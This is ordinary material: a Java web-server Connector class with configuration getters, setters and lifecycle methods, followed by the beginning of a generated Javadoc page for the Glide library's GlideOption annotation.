public void setMapper(Mapper mapper){ this.mapper = mapper; } /** * Return the minimum number of processors to start at initialization. */ public int getMinProcessors() { return minProcessors; } /** * Set the minimum number of processors to start at initialization. * * @param minProcessors The new minimum processors */ public void setMinProcessors(int minProcessors) { this.minProcessors = minProcessors; setProperty("minThreads", String.valueOf(minProcessors)); } /** * Return the maximum number of processors allowed, or <0 for unlimited. */ public int getMaxProcessors() { return maxProcessors; } /** * Set the maximum number of processors allowed, or <0 for unlimited. * * @param maxProcessors The new maximum processors */ public void setMaxProcessors(int maxProcessors) { this.maxProcessors = maxProcessors; setProperty("maxThreads", String.valueOf(maxProcessors)); } /** * Return the maximum size of a POST which will be automatically * parsed by the container. */ public int getMaxPostSize() { return maxPostSize; } /** * Set the maximum size of a POST which will be automatically * parsed by the container. * * @param maxPostSize The new maximum size in bytes of a POST which will * be automatically parsed by the container */ @Override public void setMaxPostSize(int maxPostSize) { this.maxPostSize = maxPostSize; setProperty("maxPostSize", String.valueOf(maxPostSize)); } /** * Return the maximum size of a POST which will be saved by the container * during authentication. * @return maximum size in bytes */ @Override public int getMaxSavePostSize() { return (maxSavePostSize); } /** * Set the maximum size of a POST which will be saved by the container * during authentication. * * @param maxSavePostSize The new maximum size in bytes of a POST which will * be saved by the container during authentication. */ public void setMaxSavePostSize(int maxSavePostSize) { this.maxSavePostSize = maxSavePostSize; setProperty("maxSavePostSize", String.valueOf(maxSavePostSize)); } /** * Return the port number on which we listen for requests. */ public int getPort() { return port; } /** * Set the port number on which we listen for requests. * * @param port The new port number */ public void setPort(int port) { this.port = port; setProperty("port", String.valueOf(port)); } /** * Sets the name of this Connector. */ public void setName(String name){ this.name = name; } /** * Gets the name of this Connector. */ @Override public String getName(){ return name; } /** * Sets the instance name for this Connector. * * @param instanceName the instance name */ public void setInstanceName(String instanceName) { this.instanceName = instanceName; } public String getInstanceName() { return instanceName; } /** * Return the Coyote protocol handler in use. */ public String getProtocol() { if ("org.glassfish.grizzly.tcp.http11.Http11Protocol".equals (getProtocolHandlerClassName())) { return "HTTP/1.1"; } else if ("org.apache.jk.server.JkCoyoteHandler".equals (getProtocolHandlerClassName())) { return "AJP/1.3"; } return null; } /** * Set the Coyote protocol which will be used by the connector. * * @param protocol The Coyote protocol name */ public void setProtocol(String protocol) { switch (protocol) { case "HTTP/1.1": setProtocolHandlerClassName("org.glassfish.grizzly.tcp.http11.Http11Protocol"); break; case "AJP/1.3": setProtocolHandlerClassName ("org.apache.jk.server.JkCoyoteHandler"); break; default: setProtocolHandlerClassName(null); break; } } /** * Return the class name of the Coyote protocol handler in use. */ public String getProtocolHandlerClassName() { return protocolHandlerClassName; } /** * Set the class name of the Coyote protocol handler which will be used * by the connector. * * @param protocolHandlerClassName The new class name */ public void setProtocolHandlerClassName(String protocolHandlerClassName) { this.protocolHandlerClassName = protocolHandlerClassName; } /** * Return the protocol handler associated with the connector. */ public ProtocolHandler getProtocolHandler() { return protocolHandler; } /** * Return the proxy server name for this Connector. */ public String getProxyName() { return proxyName; } /** * Set the proxy server name for this Connector. * * @param proxyName The new proxy server name */ public void setProxyName(String proxyName) { if(proxyName != null && proxyName.length() > 0) { this.proxyName = proxyName; setProperty("proxyName", proxyName); } else { this.proxyName = null; removeProperty("proxyName"); } } /** * Return the proxy server port for this Connector. */ public int getProxyPort() { return proxyPort; } /** * Set the proxy server port for this Connector. * * @param proxyPort The new proxy server port */ public void setProxyPort(int proxyPort) { this.proxyPort = proxyPort; setProperty("proxyPort", String.valueOf(proxyPort)); } /** * Return the port number to which a request should be redirected if * it comes in on a non-SSL port and is subject to a security constraint * with a transport guarantee that requires SSL. */ @Override public int getRedirectPort() { return redirectPort; } /** * Set the redirect port number. * * @param redirectPort The redirect port number (non-SSL to SSL) */ @Override public void setRedirectPort(int redirectPort) { this.redirectPort = redirectPort; setProperty("redirectPort", String.valueOf(redirectPort)); } /** * Return the flag that specifies upload time-out behavior. */ public boolean getDisableUploadTimeout() { return disableUploadTimeout; } /** * Set the flag to specify upload time-out behavior. * * @param isDisabled If <code>true</code>, then the <code>timeout</code> * parameter is ignored. If <code>false</code>, then the * <code>timeout</code> parameter is used to control uploads. */ public void setDisableUploadTimeout( boolean isDisabled ) { disableUploadTimeout = isDisabled; setProperty("disableUploadTimeout", String.valueOf(isDisabled)); } /** * Return the maximum HTTP header size. */ public int getMaxHttpHeaderSize() { return maxHttpHeaderSize; } /** * Set the maximum HTTP header size. */ public void setMaxHttpHeaderSize(int size) { maxHttpHeaderSize = size; setProperty("maxHttpHeaderSize", String.valueOf(size)); } /** * Return the Keep-Alive policy for the connection. */ public boolean getKeepAlive() { return ((maxKeepAliveRequests != 0) && (maxKeepAliveRequests != 1)); } /** * Set the keep-alive policy for this connection. */ public void setKeepAlive(boolean keepAlive) { if (!keepAlive) { setMaxKeepAliveRequests(1); } } /** * Return the maximum number of Keep-Alive requests to honor * per connection. */ public int getMaxKeepAliveRequests() { return maxKeepAliveRequests; } /** * Set the maximum number of Keep-Alive requests to honor per connection. */ public void setMaxKeepAliveRequests(int mkar) { maxKeepAliveRequests = mkar; setProperty("maxKeepAliveRequests", String.valueOf(mkar)); } /** * Return the scheme that will be assigned to requests received * through this connector. Default value is "http". */ @Override public String getScheme() { return scheme; } /** * Set the scheme that will be assigned to requests received through * this connector. * * @param scheme The new scheme */ @Override public void setScheme(String scheme) { this.scheme = scheme; setProperty("scheme", scheme); } /** * Return the secure connection flag that will be assigned to requests * received through this connector. Default value is "false". */ @Override public boolean getSecure() { return secure; } /** * Set the secure connection flag that will be assigned to requests * received through this connector. * * @param secure The new secure connection flag */ @Override public void setSecure(boolean secure) { this.secure = secure; setProperty("secure", String.valueOf(secure)); } // START SJSAS 6439313 /** * Return the blocking connection flag that will be assigned to requests * received through this connector. Default value is "false". */ public boolean getBlocking() { return blocking; } /** * Set the blocking connection flag that will be assigned to requests * received through this connector. * * @param blocking The new blocking connection flag */ public void setBlocking(boolean blocking) { this.blocking = blocking; setProperty("blocking", String.valueOf(blocking)); } // END SJSAS 6439313 public boolean getTomcatAuthentication() { return tomcatAuthentication; } public void setTomcatAuthentication(boolean tomcatAuthentication) { this.tomcatAuthentication = tomcatAuthentication; setProperty("tomcatAuthentication", String.valueOf(tomcatAuthentication)); } /** * Return the TCP no delay flag value. */ public boolean getTcpNoDelay() { return tcpNoDelay; } /** * Set the TCP no delay flag which will be set on the socket after * accepting a connection. * * @param tcpNoDelay The new TCP no delay flag */ public void setTcpNoDelay(boolean tcpNoDelay) { this.tcpNoDelay = tcpNoDelay; setProperty("tcpNoDelay", String.valueOf(tcpNoDelay)); } /** * Return the character encoding to be used for the URI. */ @Override public String getURIEncoding() { return uriEncoding; } /** * Set the URI encoding to be used for the URI. * * @param uriEncoding The new URI character encoding. */ @Override public void setURIEncoding(String uriEncoding) { if (Charset.isSupported(uriEncoding)) { this.uriEncoding = uriEncoding; setProperty("uRIEncoding", uriEncoding); } else { if (log.isLoggable(Level.WARNING)) { log.log(Level.WARNING, "{0}is not supported .Setting default URLEncoding as {1}", new Object[]{uriEncoding, this.uriEncoding}); } } } /** * Indicates whether the generation of an X-Powered-By response header for * servlet-generated responses is enabled or disabled for this Connector. * * @return true if generation of X-Powered-By response header is enabled, * false otherwise */ public boolean isXpoweredBy() { return xpoweredBy; } /** * Enables or disables the generation of an X-Powered-By header (with value * Servlet/2.4) for all servlet-generated responses returned by this * Connector. * * @param xpoweredBy true if generation of X-Powered-By response header is * to be enabled, false otherwise */ public void setXpoweredBy(boolean xpoweredBy) { this.xpoweredBy = xpoweredBy; setProperty("xpoweredBy", String.valueOf(xpoweredBy)); } /** * Indicates whether the generation of a Server response header for * servlet-generated responses is enabled or disabled for this Connector. * * @return true if generation of Server response header is enabled, * false otherwise */ public boolean isServerHeader() { return serverHeader; } /** * Enables or disables the generation of a Server header (with value * Servlet/2.4) for all servlet-generated responses returned by this * Connector. * * @param serverHeader true if generation of Server response header is * to be enabled, false otherwise */ public void setServerHeader(boolean serverHeader) { this.serverHeader = serverHeader; setProperty("serverHeader", String.valueOf(serverHeader)); } /** * Indicates whether the generation of an X-Frame-Options response header for * servlet-generated responses is enabled or disabled for this Connector. * * @return true if generation of X-Frame-Options response header is enabled, * false otherwise */ public boolean isXframeOptions(){ return xframeOptions; } /** * Enables or disables the generation of an X-Frame-Options header (with value * Servlet/2.4) for all servlet-generated responses returned by this * Connector. * * @param xframeOptions true if generation of X-Frame-Options response header is * to be enabled, false otherwise */ public void setXframeOptions(boolean xframeOptions){ this.xframeOptions = xframeOptions; setProperty("xframeOptions", String.valueOf(xframeOptions)); } // BEGIN S1AS 5000999 /** * Sets the default host for this Connector. * * @param defaultHost The default host for this Connector */ @Override public void setDefaultHost(String defaultHost) { this.defaultHost = defaultHost; } /** * Gets the default host of this Connector. * * @return The default host of this Connector */ @Override public String getDefaultHost() { return defaultHost; } // END S1AS 5000999 // START S1AS 6188932 /** * Returns the value of this connector's authPassthroughEnabled flag. * * @return true if this connector is receiving its requests from * a trusted intermediate server, false otherwise */ @Override public boolean getAuthPassthroughEnabled() { return authPassthroughEnabled; } /** * Sets the value of this connector's authPassthroughEnabled flag. * * @param authPassthroughEnabled true if this connector is receiving its * requests from a trusted intermediate server, false otherwise */ @Override public void setAuthPassthroughEnabled(boolean authPassthroughEnabled) { this.authPassthroughEnabled = authPassthroughEnabled; } /** * Gets the ProxyHandler instance associated with this CoyoteConnector. * * @return ProxyHandler instance associated with this CoyoteConnector, * or null */ @Override public ProxyHandler getProxyHandler() { return proxyHandler; } /** * Sets the ProxyHandler implementation for this CoyoteConnector to use. * * @param proxyHandler ProxyHandler instance to use */ @Override public void setProxyHandler(ProxyHandler proxyHandler) { this.proxyHandler = proxyHandler; } // END S1AS 6188932 // START SJSAS 6331392 public void setEnabled(boolean enabled) { this.enabled = enabled; } public boolean isEnabled() { return enabled; } // END SJSAS 6331392 @Override public void setJvmRoute(String jvmRoute) { this.jvmRoute = jvmRoute; } @Override public String getJvmRoute() { return jvmRoute; } // --------------------------------------------------------- Public Methods /** * Create (or allocate) and return a Request object suitable for * specifying the contents of a Request to the responsible Container. */ @Override public org.apache.catalina.Request createRequest() { Request request = new Request(); request.setConnector(this); return request; } /** * Create (or allocate) and return a Response object suitable for * receiving the contents of a Response from the responsible Container. */ @Override public org.apache.catalina.Response createResponse() { Response response = new Response(); response.setConnector(this); return response; } // -------------------------------------------------- Monitoring Methods /** * Fires probe event related to the fact that the given request has * been entered the web container. * * @param request the request object * @param host the virtual server to which the request was mapped * @param context the Context to which the request was mapped */ public void requestStartEvent(HttpServletRequest request, Host host, Context context) { // Deliberate noop }; /** * Fires probe event related to the fact that the given request is about * to exit from the web container. * * @param request the request object * @param host the virtual server to which the request was mapped * @param context the Context to which the request was mapped * @param statusCode the response status code */ public void requestEndEvent(HttpServletRequest request, Host host, Context context, int statusCode) { // Deliberate noop }; // ------------------------------------------------------ Lifecycle Methods /** * Add a lifecycle event listener to this component. * * @param listener The listener to add */ @Override public void addLifecycleListener(LifecycleListener listener) { lifecycle.addLifecycleListener(listener); } /** * Gets the (possibly empty) list of lifecycle listeners * associated with this Connector. */ @Override public List<LifecycleListener> findLifecycleListeners() { return lifecycle.findLifecycleListeners(); } /** * Remove a lifecycle event listener from this component. * * @param listener The listener to add */ @Override public void removeLifecycleListener(LifecycleListener listener) { lifecycle.removeLifecycleListener(listener); } protected ObjectName createObjectName(String domain, String type) throws MalformedObjectNameException { String encodedAddr = null; if (getAddress() != null) { encodedAddr = URLEncoder.encode(getProperty("address")); } String addSuffix = (getAddress() == null) ? "" : ",address=" + encodedAddr; ObjectName _oname = new ObjectName(domain + ":type=" + type + ",port=" + getPort() + addSuffix); return _oname; } /** * Initialize this connector (create ServerSocket here!) */ @Override public void initialize() throws LifecycleException { if (initialized) { if (log.isLoggable(Level.INFO)) { log.log(Level.INFO, LogFacade.CONNECTOR_BEEN_INIT); } return; } this.initialized = true; // If the Mapper is null, do not fail and creates one by default. if (mapper == null){ mapper = new Mapper(); } if( oname == null && (container instanceof StandardEngine)) { try { // we are loaded directly, via API - and no name was given to us StandardEngine cb=(StandardEngine)container; oname = createObjectName(domain, "Connector"); controller=oname; } catch (Exception e) { log.log(Level.SEVERE, LogFacade.ERROR_REGISTER_CONNECTOR_EXCEPTION, e); } if (log.isLoggable(Level.FINE)) { log.log(Level.FINE, "Creating name for connector " + oname); } } //START SJSAS 6363251 // Initializa handler //handler = new CoyoteAdapter(this); //END SJSAS 6363251 // Instantiate Adapter //START SJSAS 6363251 if ( handler == null){ try { Class<?> clazz = Class.forName(defaultClassName); Constructor constructor = clazz.getConstructor(new Class<?>[]{Connector.class}); handler = (HttpHandler)constructor.newInstance(new Object[]{this}); } catch (Exception e) { throw new LifecycleException (rb.getString(LogFacade.FAILED_INSTANCIATE_HTTP_HANDLER_EXCEPTION), e); } } //END SJSAS 6363251 // Instantiate protocol handler if ( protocolHandler == null ) { try { Class<?> clazz = Class.forName(protocolHandlerClassName); // use no-arg constructor for JkCoyoteHandler if (protocolHandlerClassName.equals("org.apache.jk.server.JkCoyoteHandler")) { protocolHandler = (ProtocolHandler) clazz.newInstance(); if (handler instanceof CoyoteAdapter){ ((CoyoteAdapter) handler).setCompatWithTomcat(true); } else { String msg = MessageFormat.format(rb.getString(LogFacade.INVALID_ADAPTER_IMPLEMENTATION_EXCEPTION), handler); throw new IllegalStateException (msg); } // START SJSAS 6439313 } else { Constructor constructor = clazz.getConstructor(new Class<?>[]{Boolean.TYPE, Boolean.TYPE, String.class}); protocolHandler = (ProtocolHandler) constructor.newInstance(secure, blocking, selectorThreadImpl); // END SJSAS 6439313 } } catch (Exception e) { String msg = MessageFormat.format(rb.getString(LogFacade.PROTOCOL_HANDLER_INIT_FAILED_EXCEPTION), e); throw new LifecycleException (msg); } } protocolHandler.setHandler(handler); IntrospectionUtils.setProperty(protocolHandler, "jkHome", System.getProperty("catalina.base")); // Configure secure socket factory // XXX For backwards compatibility only. if (factory instanceof CoyoteServerSocketFactory) { IntrospectionUtils.setProperty(protocolHandler, "secure", "" + true); CoyoteServerSocketFactory ssf = (CoyoteServerSocketFactory) factory; IntrospectionUtils.setProperty(protocolHandler, "algorithm", ssf.getAlgorithm()); if (ssf.getClientAuth()) { IntrospectionUtils.setProperty(protocolHandler, "clientauth", "" + ssf.getClientAuth()); } IntrospectionUtils.setProperty(protocolHandler, "keystore", ssf.getKeystoreFile()); IntrospectionUtils.setProperty(protocolHandler, "randomfile", ssf.getRandomFile()); IntrospectionUtils.setProperty(protocolHandler, "rootfile", ssf.getRootFile()); IntrospectionUtils.setProperty(protocolHandler, "keypass", ssf.getKeystorePass()); IntrospectionUtils.setProperty(protocolHandler, "keytype", ssf.getKeystoreType()); IntrospectionUtils.setProperty(protocolHandler, "protocol", ssf.getProtocol()); IntrospectionUtils.setProperty(protocolHandler, "protocols", ssf.getProtocols()); IntrospectionUtils.setProperty(protocolHandler, "sSLImplementation", ssf.getSSLImplementation()); IntrospectionUtils.setProperty(protocolHandler, "ciphers", ssf.getCiphers()); IntrospectionUtils.setProperty(protocolHandler, "keyAlias", ssf.getKeyAlias()); } else { IntrospectionUtils.setProperty(protocolHandler, "secure", "" + secure); } /* Set the configured properties. This only sets the ones that were * explicitly configured. Default values are the responsibility of * the protocolHandler. */ Iterator<String> keys = properties.keySet().iterator(); while( keys.hasNext() ) { String name = keys.next(); String value = properties.get(name); String trnName = translateAttributeName(name); IntrospectionUtils.setProperty(protocolHandler, trnName, value); } try { protocolHandler.init(); } catch (Exception e) { String msg = MessageFormat.format(rb.getString(LogFacade.PROTOCOL_HANDLER_INIT_FAILED_EXCEPTION), e); throw new LifecycleException (msg); } } /* * Translate the attribute name from the legacy Factory names to their * internal protocol names. */ private String translateAttributeName(String name) { if (null != name) switch (name) { case "clientAuth": return "clientauth"; case "keystoreFile": return "keystore"; case "randomFile": return "randomfile"; case "rootFile": return "rootfile"; case "keystorePass": return "keypass"; case "keystoreType": return "keytype"; case "sslProtocol": return "protocol"; case "sslProtocols": return "protocols"; default: break; } return name; } /** * Begin processing requests via this Connector. * * @exception LifecycleException if a fatal startup error occurs */ @Override public void start() throws LifecycleException { if( !initialized ) initialize(); // Validate and update our current state if (started) { if (log.isLoggable(Level.INFO)) { log.log(Level.INFO, LogFacade.CONNECTOR_BEEN_STARTED); } return; } lifecycle.fireLifecycleEvent(START_EVENT, null); started = true; try { protocolHandler.start(); } catch (Exception e) { String msg = MessageFormat.format(rb.getString(LogFacade.PROTOCOL_HANDLER_START_FAILED_EXCEPTION), e); throw new LifecycleException (msg); } } /** * Terminate processing requests via this Connector. * * @exception LifecycleException if a fatal shutdown error occurs */ @Override public void stop() throws LifecycleException { // Validate and update our current state if (!started) { log.log(Level.SEVERE, LogFacade.CONNECTOR_NOT_BEEN_STARTED); return; } lifecycle.fireLifecycleEvent(STOP_EVENT, null); started = false; try { protocolHandler.destroy(); } catch (Exception e) { String msg = MessageFormat.format(rb.getString(LogFacade.PROTOCOL_HANDLER_DESTROY_FAILED_EXCEPTION), e); throw new LifecycleException (msg); } } // -------------------- Management methods -------------------- public boolean getClientAuth() { boolean ret = false; String prop = getProperty("clientauth"); if (prop != null) { ret = Boolean.parseBoolean(prop); } else { ServerSocketFactory factory = this.getFactory(); if (factory instanceof CoyoteServerSocketFactory) { ret = ((CoyoteServerSocketFactory)factory).getClientAuth(); } } return ret; } public void setClientAuth(boolean clientAuth) { setProperty("clientauth", String.valueOf(clientAuth)); ServerSocketFactory factory = this.getFactory(); if (factory instanceof CoyoteServerSocketFactory) { ((CoyoteServerSocketFactory)factory).setClientAuth(clientAuth); } } public String getKeystoreFile() { String ret = getProperty("keystore"); if (ret == null) { ServerSocketFactory factory = this.getFactory(); if (factory instanceof CoyoteServerSocketFactory) { ret = ((CoyoteServerSocketFactory)factory).getKeystoreFile(); } } return ret; } public void setKeystoreFile(String keystoreFile) { setProperty("keystore", keystoreFile); if (factory instanceof CoyoteServerSocketFactory) { ((CoyoteServerSocketFactory)factory).setKeystoreFile(keystoreFile); } } /** * Return keystorePass */ public String getKeystorePass() { String ret = getProperty("keypass"); if (ret == null) { if (factory instanceof CoyoteServerSocketFactory ) { return ((CoyoteServerSocketFactory)factory).getKeystorePass(); } } return ret; } /** * Set keystorePass */ public void setKeystorePass(String keystorePass) { setProperty("keypass", keystorePass); ServerSocketFactory factory = getFactory(); if( factory instanceof CoyoteServerSocketFactory ) { ((CoyoteServerSocketFactory)factory).setKeystorePass(keystorePass); } } /** * Gets the list of SSL cipher suites that are to be enabled * * @return Comma-separated list of SSL cipher suites, or null if all * cipher suites supported by the underlying SSL implementation are being * enabled */ public String getCiphers() { String ret = getProperty("ciphers"); if (ret == null) { ServerSocketFactory factory = getFactory(); if (factory instanceof CoyoteServerSocketFactory) { ret = ((CoyoteServerSocketFactory)factory).getCiphers(); } } return ret; } /** * Sets the SSL cipher suites that are to be enabled. * * Only those SSL cipher suites that are actually supported by * the underlying SSL implementation will be enabled. * * @param ciphers Comma-separated list of SSL cipher suites */ public void setCiphers(String ciphers) { setProperty("ciphers", ciphers); ServerSocketFactory factory = getFactory(); if (factory instanceof CoyoteServerSocketFactory) { ((CoyoteServerSocketFactory)factory).setCiphers(ciphers); } } /** * Sets the number of seconds after which SSL sessions expire and are * removed from the SSL sessions cache. */ public void setSslSessionTimeout(String timeout) { setProperty("sslSessionTimeout", timeout); } public String getSslSessionTimeout() { return getProperty("sslSessionTimeout"); } /** * Sets the number of seconds after which SSL3 sessions expire and are * removed from the SSL sessions cache. */ public void setSsl3SessionTimeout(String timeout) { setProperty("ssl3SessionTimeout", timeout); } public String getSsl3SessionTimeout() { return getProperty("ssl3SessionTimeout"); } /** * Sets the number of SSL sessions that may be cached */ public void setSslSessionCacheSize(String cacheSize) { setProperty("sslSessionCacheSize", cacheSize); } public String getSslSessionCacheSize() { return getProperty("sslSessionCacheSize"); } /** * Gets the alias name of the keypair and supporting certificate chain * used by this Connector to authenticate itself to SSL clients. * * @return The alias name of the keypair and supporting certificate chain */ public String getKeyAlias() { String ret = getProperty("keyAlias"); if (ret == null) { ServerSocketFactory factory = getFactory(); if (factory instanceof CoyoteServerSocketFactory) { ret = ((CoyoteServerSocketFactory)factory).getKeyAlias(); } } return ret; } /** * Sets the alias name of the keypair and supporting certificate chain * used by this Connector to authenticate itself to SSL clients. * * @param alias The alias name of the keypair and supporting certificate * chain */ public void setKeyAlias(String alias) { setProperty("keyAlias", alias); ServerSocketFactory factory = getFactory(); if (factory instanceof CoyoteServerSocketFactory) { ((CoyoteServerSocketFactory)factory).setKeyAlias(alias); } } /** * Gets the SSL protocol variant to be used. * * @return SSL protocol variant */ public String getSslProtocol() { String ret = getProperty("sslProtocol"); if (ret == null) { ServerSocketFactory factory = getFactory(); if (factory instanceof CoyoteServerSocketFactory) { ret = ((CoyoteServerSocketFactory)factory).getProtocol(); } } return ret; } /** * Sets the SSL protocol variant to be used. * * @param sslProtocol SSL protocol variant */ public void setSslProtocol(String sslProtocol) { setProperty("sslProtocol", sslProtocol); ServerSocketFactory factory = getFactory(); if (factory instanceof CoyoteServerSocketFactory) { ((CoyoteServerSocketFactory)factory).setProtocol(sslProtocol); } } /** * Gets the SSL protocol variants to be enabled. * * @return Comma-separated list of SSL protocol variants */ public String getSslProtocols() { String ret = getProperty("sslProtocols"); if (ret == null) { ServerSocketFactory factory = getFactory(); if (factory instanceof CoyoteServerSocketFactory) { ret = ((CoyoteServerSocketFactory)factory).getProtocols(); } } return ret; } /** * Sets the SSL protocol variants to be enabled. * * @param sslProtocols Comma-separated list of SSL protocol variants */ public void setSslProtocols(String sslProtocols) { setProperty("sslProtocols", sslProtocols); ServerSocketFactory factory = getFactory(); if (factory instanceof CoyoteServerSocketFactory) { ((CoyoteServerSocketFactory)factory).setProtocols(sslProtocols); } } // START OF SJSAS 8.1 PE 6191830 /** * Get the underlying WebContainer certificate for the request */ @Override public X509Certificate[] getCertificates(org.apache.catalina.Request request) { Request cRequest = null; if (request instanceof Request) { cRequest=(Request) request; } else { return null; } X509Certificate certs[] = (X509Certificate[]) cRequest.getAttribute(Globals.CERTIFICATES_ATTR); if ((certs == null) || (certs.length < 1)) { certs = (X509Certificate[]) cRequest.getAttribute(Globals.SSL_CERTIFICATE_ATTR); } return certs; } // END OF SJSAS 8.1 PE 6191830 // -------------------- JMX registration -------------------- protected String domain; protected ObjectName oname; ObjectName controller; public ObjectName getController() { return controller; } public void setController(ObjectName controller) { this.controller = controller; } public ObjectName getObjectName() { return oname; } public String getDomain() { return domain; } /** * Set the domain of this object. */ public void setDomain(String domain){ this.domain = domain; } public void init() throws Exception { if( this.getService() != null ) { if (log.isLoggable(Level.FINE)) { log.log(Level.FINE, "Already configured"); } return; } } public void destroy() throws Exception { if( oname!=null && controller==oname ) { if (log.isLoggable(Level.FINE)) { log.log(Level.FINE, "Unregister itself {0}", oname); } } if( getService() == null) return; getService().removeConnector(this); } // START SJSAS 6363251 /** * Set the <code>Adapter</code> used by this connector. */ @Override public void setHandler(HttpHandler handler){ this.handler = handler; } /** * Get the <code>Adapter</code> used by this connector. */ @Override public HttpHandler getHandler(){ return handler; } /** * Set the <code>ProtocolHandler</code> used by this connector. */ public void setProtocolHandler(ProtocolHandler protocolHandler){ this.protocolHandler = protocolHandler; } // END SJSAS 6363251 /** * Get the underlying <code>SelectorThread</code> implementation, null if * the default is used. */ public String getSelectorThreadImpl() { return selectorThreadImpl; } /** * Set the underlying <code>SelectorThread</code> implementation */ public void setSelectorThreadImpl(String selectorThreadImpl) { this.selectorThreadImpl = selectorThreadImpl; } }
{ "pile_set_name": "Github" }
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (1.8.0_131) on Wed Aug 09 10:22:18 PDT 2017 --> <title>GlideOption (glide API)</title> <meta name="date" content="2017-08-09"> <link rel="stylesheet" type="text/css" href="../../../../stylesheet.css" title="Style"> <script type="text/javascript" src="../../../../script.js"></script> </head> <body> <script type="text/javascript"><!-- try { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="GlideOption (glide API)"; } } catch(err) { } //--> </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <!-- ========= START OF TOP NAVBAR ======= --> <div class="topNav"><a name="navbar.top"> <!-- --> </a> <div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.top.firstrow"> <!-- --> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../overview-summary.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../index-all.html">Index</a></li> <li><a href="../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../com/bumptech/glide/annotation/GlideModule.html" title="annotation in com.bumptech.glide.annotation"><span class="typeNameLink">Prev&nbsp;Class</span></a></li> <li><a href="../../../../com/bumptech/glide/annotation/GlideType.html" title="annotation in com.bumptech.glide.annotation"><span class="typeNameLink">Next&nbsp;Class</span></a></li> </ul> <ul class="navList"> <li><a href="../../../../index.html?com/bumptech/glide/annotation/GlideOption.html" target="_top">Frames</a></li> <li><a href="GlideOption.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="allclasses_navbar_top"> <li><a href="../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><!-- allClassesLink = document.getElementById("allclasses_navbar_top"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } //--> </script> </div> <div> <ul class="subNavList"> <li>Summary:&nbsp;</li> <li><a href="#annotation.type.field.summary">Field</a>&nbsp;|&nbsp;</li> <li>Required&nbsp;|&nbsp;</li> <li><a href="#annotation.type.optional.element.summary">Optional</a></li> </ul> <ul class="subNavList"> <li>Detail:&nbsp;</li> <li><a href="#annotation.type.field.detail">Field</a>&nbsp;|&nbsp;</li> <li><a href="#annotation.type.element.detail">Element</a></li> </ul> </div> <a name="skip.navbar.top"> <!-- --> </a></div> <!-- ========= END OF TOP NAVBAR ========= --> <!-- ======== START OF CLASS DATA ======== --> <div class="header"> <div class="subTitle">com.bumptech.glide.annotation</div> <h2 title="Annotation Type GlideOption" class="title">Annotation Type GlideOption</h2> </div> <div class="contentContainer"> <div class="description"> <ul class="blockList"> <li class="blockList"> <hr> <br> <pre><a href="http://docs.oracle.com/javase/7/docs/api/java/lang/annotation/Target.html?is-external=true" title="class or interface in java.lang.annotation">@Target</a>(<a href="http://docs.oracle.com/javase/7/docs/api/java/lang/annotation/Target.html?is-external=true#value--" title="class or interface in java.lang.annotation">value</a>=<a href="http://docs.oracle.com/javase/7/docs/api/java/lang/annotation/ElementType.html?is-external=true#METHOD" title="class or interface in java.lang.annotation">METHOD</a>) <a href="http://docs.oracle.com/javase/7/docs/api/java/lang/annotation/Retention.html?is-external=true" title="class or interface in java.lang.annotation">@Retention</a>(<a href="http://docs.oracle.com/javase/7/docs/api/java/lang/annotation/Retention.html?is-external=true#value--" title="class or interface in java.lang.annotation">value</a>=<a href="http://docs.oracle.com/javase/7/docs/api/java/lang/annotation/RetentionPolicy.html?is-external=true#CLASS" title="class or interface in java.lang.annotation">CLASS</a>) public @interface <span class="memberNameLabel">GlideOption</span></pre> <div class="block">Identifies methods in <a href="../../../../com/bumptech/glide/annotation/GlideExtension.html" title="annotation in com.bumptech.glide.annotation"><code>GlideExtension</code></a> annotated classes that extend <a href="../../../../com/bumptech/glide/request/RequestOptions.html" title="class in com.bumptech.glide.request"><code>RequestOptions</code></a>. <p>All annotated methods will be added to a single <a href="../../../../com/bumptech/glide/request/RequestOptions.html" title="class in com.bumptech.glide.request"><code>RequestOptions</code></a> implementation generated per application. Overlapping method names in different extensions may cause errors at compile time. <p>Static equivalents of annotated methods will also be generated. <p>Methods with this annotation will only be found if they belong to classes annotated with <a href="../../../../com/bumptech/glide/annotation/GlideExtension.html" title="annotation in com.bumptech.glide.annotation"><code>GlideExtension</code></a>.</div> </li> </ul> </div> <div class="summary"> <ul class="blockList"> <li class="blockList"> <!-- =========== ANNOTATION TYPE FIELD SUMMARY =========== --> <ul class="blockList"> <li class="blockList"><a name="annotation.type.field.summary"> <!-- --> </a> <h3>Field Summary</h3> <table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Field Summary table, listing fields, and an explanation"> <caption><span>Fields</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colFirst" scope="col">Modifier and Type</th> <th class="colLast" scope="col">Fields and Description</th> </tr> <tr class="altColor"> <td class="colFirst"><code>static int</code></td> <td class="colLast"><code><span class="memberNameLink"><a href="../../../../com/bumptech/glide/annotation/GlideOption.html#OVERRIDE_EXTEND">OVERRIDE_EXTEND</a></span></code> <div class="block">Expects to call super and then add additional functionality to an overridden method.</div> </td> </tr> <tr class="rowColor"> <td class="colFirst"><code>static int</code></td> <td class="colLast"><code><span class="memberNameLink"><a href="../../../../com/bumptech/glide/annotation/GlideOption.html#OVERRIDE_NONE">OVERRIDE_NONE</a></span></code> <div class="block">Does not intend to override a method in a super class.</div> </td> </tr> <tr class="altColor"> <td class="colFirst"><code>static int</code></td> <td class="colLast"><code><span class="memberNameLink"><a href="../../../../com/bumptech/glide/annotation/GlideOption.html#OVERRIDE_REPLACE">OVERRIDE_REPLACE</a></span></code> <div class="block">Expects to not call super and replace an overridden method.</div> </td> </tr> </table> </li> </ul> <!-- =========== ANNOTATION TYPE OPTIONAL MEMBER SUMMARY =========== 